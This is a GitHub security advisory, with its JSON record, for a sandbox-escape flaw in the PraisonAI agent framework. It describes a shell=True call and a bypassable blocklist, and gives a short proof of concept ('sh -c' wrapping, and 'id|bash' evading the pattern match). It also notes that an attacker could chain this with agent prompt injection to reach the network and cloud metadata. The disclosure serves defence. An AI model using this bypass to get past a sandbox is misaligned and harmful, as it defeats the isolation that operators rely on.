GHSA-R4F2-3M54-PP7Q

Vulnerability from github – Published: 2026-04-01 23:26 – Updated: 2026-04-06 22:54
VLAI?
Summary
PraisonAI Has Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandbox
Details

Summary

SubprocessSandbox in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls subprocess.run() with shell=True and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include sh or bash as standalone executables, allowing trivial sandbox escape in STRICT mode via sh -c '<command>'.

Details

sandbox_executor.py:179 (source) -> sandbox_executor.py:326 (sink)

# source -- string-pattern blocklist, sh and bash not in blocked_commands
cmd_name = Path(parts[0]).name
if cmd_name in self.policy.blocked_commands:  # sh, bash not blocked
    raise SecurityError(...)
dangerous_patterns = [
    ("| sh",   ...),   # requires space -- "id|bash" evades this
    ("| bash", ...),   # requires space
]

# sink -- shell=True spawns /bin/sh regardless of sandbox mode
result = subprocess.run(
    command,
    shell=True,
    ...
)

PoC

# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode

policy = SandboxPolicy.for_mode(SandboxMode.STRICT)
sandbox = SubprocessSandbox(policy=policy)

result = sandbox.execute("sh -c 'id'")
print(result.stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Users who deploy with --sandbox strict have no meaningful OS-level isolation. Any command blocked by the policy (curl, wget, nc, ssh) is trivially reachable via sh -c '<blocked_command>'. Combined with agent prompt injection, an attacker can escape the sandbox and reach the network, filesystem, and cloud metadata services.

Suggested Fix

import shlex

result = subprocess.run(
    shlex.split(command),
    shell=False,
    cwd=cwd,
    env=env,
    capture_output=capture_output,
    text=True,
    timeout=timeout
)
Severity ?
8.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.96"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.97"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34955"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T23:26:01Z",
    "nvd_published_at": "2026-04-04T00:16:19Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`SubprocessSandbox` in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls `subprocess.run()` with `shell=True` and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include `sh` or `bash` as standalone executables, allowing trivial sandbox escape in STRICT mode via `sh -c \u0027\u003ccommand\u003e\u0027`.\n\n### Details\n\n`sandbox_executor.py:179` (source) -\u003e `sandbox_executor.py:326` (sink)\n```python\n# source -- string-pattern blocklist, sh and bash not in blocked_commands\ncmd_name = Path(parts[0]).name\nif cmd_name in self.policy.blocked_commands:  # sh, bash not blocked\n    raise SecurityError(...)\ndangerous_patterns = [\n    (\"| sh\",   ...),   # requires space -- \"id|bash\" evades this\n    (\"| bash\", ...),   # requires space\n]\n\n# sink -- shell=True spawns /bin/sh regardless of sandbox mode\nresult = subprocess.run(\n    command,\n    shell=True,\n    ...\n)\n```\n\n### PoC\n```python\n# tested on: praisonai==4.5.87 (source install)\n# install: pip install -e src/praisonai\nimport sys\nsys.path.insert(0, \u0027src/praisonai\u0027)\nfrom praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode\n\npolicy = SandboxPolicy.for_mode(SandboxMode.STRICT)\nsandbox = SubprocessSandbox(policy=policy)\n\nresult = sandbox.execute(\"sh -c \u0027id\u0027\")\nprint(result.stdout)\n# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...\n```\n\n### Impact\n\nUsers who deploy with `--sandbox strict` have no meaningful OS-level isolation. Any command blocked by the policy (curl, wget, nc, ssh) is trivially reachable via `sh -c \u0027\u003cblocked_command\u003e\u0027`. Combined with agent prompt injection, an attacker can escape the sandbox and reach the network, filesystem, and cloud metadata services.\n\n### Suggested Fix\n```python\nimport shlex\n\nresult = subprocess.run(\n    shlex.split(command),\n    shell=False,\n    cwd=cwd,\n    env=env,\n    capture_output=capture_output,\n    text=True,\n    timeout=timeout\n)\n```",
  "id": "GHSA-r4f2-3m54-pp7q",
  "modified": "2026-04-06T22:54:33Z",
  "published": "2026-04-01T23:26:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-r4f2-3m54-pp7q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34955"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI Has Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandbox"
}


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